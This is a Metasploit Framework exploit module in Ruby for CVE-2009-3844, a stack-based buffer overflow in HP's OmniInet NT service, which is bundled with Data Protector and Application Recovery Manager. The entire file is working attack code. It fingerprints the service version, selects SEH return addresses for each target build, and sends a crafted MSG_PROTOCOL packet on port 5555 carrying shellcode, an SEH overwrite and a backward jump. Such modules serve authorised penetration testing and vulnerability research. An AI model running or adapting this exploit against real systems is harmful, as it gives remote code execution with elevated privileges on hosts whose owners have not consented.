##
# $Id: hp_omniinet_2.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OmniInet.exe MSG_PROTOCOL Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack-based buffer overflow in the Hewlett-Packard
				OmniInet NT Service. By sending a specially crafted MSG_PROTOCOL (0x010b)
				packet, a remote attacker may be able to execute arbitrary code with elevated
				privileges.

				This service is installed with HP OpenView Data Protector, HP Application
				Recovery Manager and potentially other products. This exploit has been tested
				against versions 6.1, 6.0, and 5.50 of Data Protector. and versions 6.0 and 6.1
				of Application Recovery Manager.

				NOTE: There are actually two consecutive wcscpy() calls in the program (which
				may be why ZDI considered them two separate issues). However, this module only
				exploits the second one.
			},
			'Author'         =>
				[
					'EgiX <n0b0d13s[at]gmail.com>',
					'Fairuzan Roslan <riaf[at]mysec.org>',
					'jduck'
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2009-3844' ],
					[ 'BID', '37250' ],
					[ 'OSVDB', '60852' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload' =>
				{
					'Space'    => 4658,
					'BadChars' => "\x00", # (we don't want \x00\x00)
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic Targeting', { 'auto' => true }  ],

					# DP Targets
					[ 'HP OpenView Storage Data Protector A.05.50: INET, internal build 330',
						{
							'Ret' => 0x004406cf # p/p/r - OmniInet.exe (v5.50.330.0)
						}
					],
					[ 'HP OpenView Storage Data Protector A.06.00: INET, internal build 331',
						{
							'Ret' => 0x0044327d # p/p/r - OmniInet.exe (v6.0.331.0)
						}
					],

					# APPRM Targets
					[ 'HP StorageWorks Application Recovery Manager A.06.00: INET, internal build 81',
						{
							'Ret' => 0x004280ff # p/p/r - OmniInet.exe (v6.0.81.0)
						}
					],
					[ 'HP Application Recovery Manager software A.06.10: INET, internal build 282',
						{
							'Ret' => 0x004412ed # p/p/r - OmniInet.exe (v6.0.282.0)
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 17 2009'))

		register_options([Opt::RPORT(5555)], self.class)
	end

	def check
		connect
		sock.put(rand_text_alpha_upper(64))
		resp = sock.get_once(-1,5)
		disconnect

		if (resp)
			resp = resp.unpack('v*').pack('C*')
			print_status("Received response: " + resp)

			# extract version
			if (resp =~ /HP Data Protector/)
				version = resp.split[3]
			elsif (resp =~ /HP OpenView Storage Data Protector/)
				version = resp.split[5]
			elsif (resp =~ /HP StorageWorks Application Recovery Manager/)
				version = resp.split[5]
			else
				return Exploit::CheckCode::Detected
			end

			version = version.split('.')
			major = version[1].to_i
			minor = version[2].to_i
			if ((major < 6) or (major == 6 and minor < 11))
				return Exploit::CheckCode::Vulnerable
			end

			if ((major > 6) or (major == 6 and minor >= 11))
				return Exploit::CheckCode::Safe
			end

		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		mytarget = target

		if (target['auto'])
			mytarget = nil

			print_status("Automatically detecting the target...")

			connect
			sock.put(rand_text_alpha_upper(64))
			resp = sock.get_once(-1,5)
			disconnect

			if not resp
				raise RuntimeError, "No version response returned."
			end

			resp = resp.unpack('v*').pack('C*')
			print_status("Received response: " + resp)

			self.targets.each do |t|
				if (resp =~ /#{t.name}/) then
					mytarget = t
					break
				end
			end

			if (not mytarget)
				raise RuntimeError, "No matching target"
			end

			print_status("Selected Target: #{mytarget.name}")
		else
			print_status("Trying target #{mytarget.name}...")
		end

		# separator between arguments
		sep = [0x2000].pack('N')

		# Unicode BOM
		pkt = "\xff\xfe"
		# MSG_PROTOCOL command
		pkt << Rex::Text.to_unicode("267")

		# dunno
		4.times do
			pkt << sep
			pkt << rand_text_alpha_upper(2)
		end

		# culprit string
		pkt << sep

		# the payload + seh record
		pkt << payload.encoded
		pkt << generate_seh_record(mytarget.ret)

		# jump back
		dist = payload_space + 8
		pkt << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + dist.to_s).encode_string

		# force exception hitting the end of the stack
		pkt << rand_text_alphanumeric(1000) * 25

		# end marker
		pkt << sep

		# packet length
		buff = [pkt.length].pack('N')
		buff << pkt

		connect
		print_status("Sending MSG_PROTOCOL packet...")
		sock.put(buff)

		handler
		disconnect

	end

end
